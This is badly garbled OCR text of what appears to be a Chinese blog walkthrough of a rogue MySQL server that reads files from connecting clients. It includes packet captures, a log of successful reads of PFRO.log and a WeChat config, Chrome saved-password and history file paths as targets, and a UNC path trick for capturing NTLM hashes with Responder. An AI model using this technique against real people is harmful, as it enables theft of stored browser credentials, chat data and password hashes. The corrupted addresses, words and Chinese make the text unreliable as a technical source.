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23 3.256242 127.0.0.1 127.6.0.1 MysSQL 132 Server Greeting proto=10 version=5.5.53
25 3,256340 127.0.0.1 127.0.0.1 MysSQL 138 Login Request user=root

27 3.256427 127.0.0.1 127.0.0.1 MySQL 65 Response 0K

29 3.256501 127.0.0.1 127.0.0.1 MySQL 76 Request Query

31 3.256597 127.0.0.1 127.0.0.1 MySQL 65 Response OK

33 3.257247 127.8.0.1 127.0.0.1 MySQ 93 Request Query

35 3.257671 127.0.0.1 127.8.0.1 My 385 Response

37 3.257893 127.0.0.1 127.0.0.1 My’ 89 Request Query

39 3.258173 127.0.0.1 127.0.0.1 MySpL 302 Response

[checksum Status: Unverified]
Urgent pointer: @
v [SEQ/ACK analysis]
[iRTT: @.000213000 seconds]
[Bytes in flight: 78]
[Bytes sent since last PSH
v [Timestamps]
[Time since first frame in
[Time since previous frame
TCP payload (78 bytes)
[PDU Size: 78]
~ MysQL Protocol
Packet 1ength: 74
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25 3.256340 127.0.8.1 127.0.0.1

138 Login Request user=root

vees wees o sees wede = AUTO_COMMIT: Set
.. = Multi query / Unused: Not set
tess wess aees @000 = More results: Not set

a = Rad index used: Not set

29 3.256501 127.8.8.1 127.0.8.1 MySQL 76 Request Query
31 3.256597 127.0.0.1 127.0.0.1 MysQL 65 Response 0K
33 3.257247 127.0.0.1 127.0.8.1 MySQL 93 Request Query
35 3.257671 127.8.0.1 127.0.0.1 MySQL 305 Response
37 3.257893 127.0.0.1 127.0.0.1 MySQL 89 Request Query
39 3.258173 127.e.0.1 127.0.9.1 MysSQL 302 p

TcP payload (11 bytes)

[PDU Size: 11]

~ MySQL Protocol

Packet Length: 7

Packet Number: 2

Response Code: OK Packet (exea)

Affected Rows: @

~ Server Status: oxeeez

............... @ = In transaction: Not set
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50 2.903996 127.0.0.1 127.0.0.1 MysQL 3800 Request Unk (55)Request[Malformed Packet]
63 2.940651 127.0.0.1 127.0.0.1 MySQL 132 Server Greeting proto=10 version=5.5.53
65 2.940735 127.0.0.1 127.90.0.1 MySQL 138 Login Request user=root
67 2.940831 127.0.0.1 127.0.0.1 MySQL 65 Response OK
69 2.948899 127.98.8.1 127.8.8.1 MysQL 76 Request Query
712. 127.8.8.1 127.8.8.1 MysSQL 126 p TABULAR
TCP payload (24 bytes)
[PDU Size: 24]
hd

Packet Length: 20
Packet Number: 1
Number of fields: @
Extra data: 67
~ Payload: 3a2f57696e646f77732f5046524f2e6¢6f67
~ [Expert Info (Warning/uUndecoded): FIXME - dissector is incomplete]
[FIXME - dissector is incomplete]




[severity level: Warning] '
[Group: Undecoded]
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|7/8/2020 23:23:34 - PFRO Error: \??\C:\Users'
7/8/2020 23:23:34 - PFRO Error: \??\C:\Users
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14 @.477485
15 @.477638
16 @.477918
17 @.478@71
18 @.479581
19 8.479660
210.47991@
22 @.479971
23 @.480019
24 @.488046
26 @.488328
27 @.488509
28 @.488708
29 @.480847
30 0.481462
31 0.481517
32 @.481565
33 @.481582
34 @.481599
35 @.481615
37 @.482252
38 @.482445
39 @.482575
40 8.482820
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132 Server Greeting proto=10 version=5.5.53

117 Login Request user=root
1 65 Response OK I

73 Request Query -
1514 Response
1514 ResponseResponse
1514 ResponseResponse
1514 ResponseResponse
1514 ResponseResponse
1514 Response
1364 ResponseResponse

72 Request Query
279 Response

73 Request Query ==
1514 Response
1514 Response
1514 ResponseResponse
1514 ResponseResponse
1514 ResponseResponse
634 ResponseResponse

73 Request Query
65 Response OK
89 Request Query

.

65 Response OK
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- '9/ 2006 - MySQL server has gone away

-

10 &=z gugugu
WARNING: This 1s a development server. Do not use 1t 1n a produc eployment.

Use a production WSGI server instead.
* Debug mode: off
* Running on http / (Press CTRL+C to quit)
Read Success! ---> C:/Windows/PFRO.log
Read Success! --—-> C:/Users/ ‘Documents/WeChat Files/All Users/config/confi QI:??'
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Show 10 - | entries Search:

P Wechat Id QR Code

127.0.01 wxid 2

Showing 1 to 1 of 1 entries
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e chrome #9 login data, BATLIEMRELENG, BEEEPTAIREEIX HRI—LEIKSH
'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/Login

Data'

e chrome BIHEICHE

'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/History'

e FAFHI NTLM Hash (Bettercap + responder)

\\ip\test

1*18: https://www.colabug.com/2019/0408/5936906/
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o EHNRINMHEARN, EFinzoREH, WME5EEIRE
e BIlmAR bug, NET, BEAMITY

XTEAMAF AN EFRREFEVDOAREBEITE, &E, FEBEHE_ELER GitHub
T, BEENARKRIEEE:
https://github.com/qigpig/MysglHoneypot
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[1] https://www.colabug.com/2019/0408/5936906/

[2] https://github.com/ev0A/Mysqlist



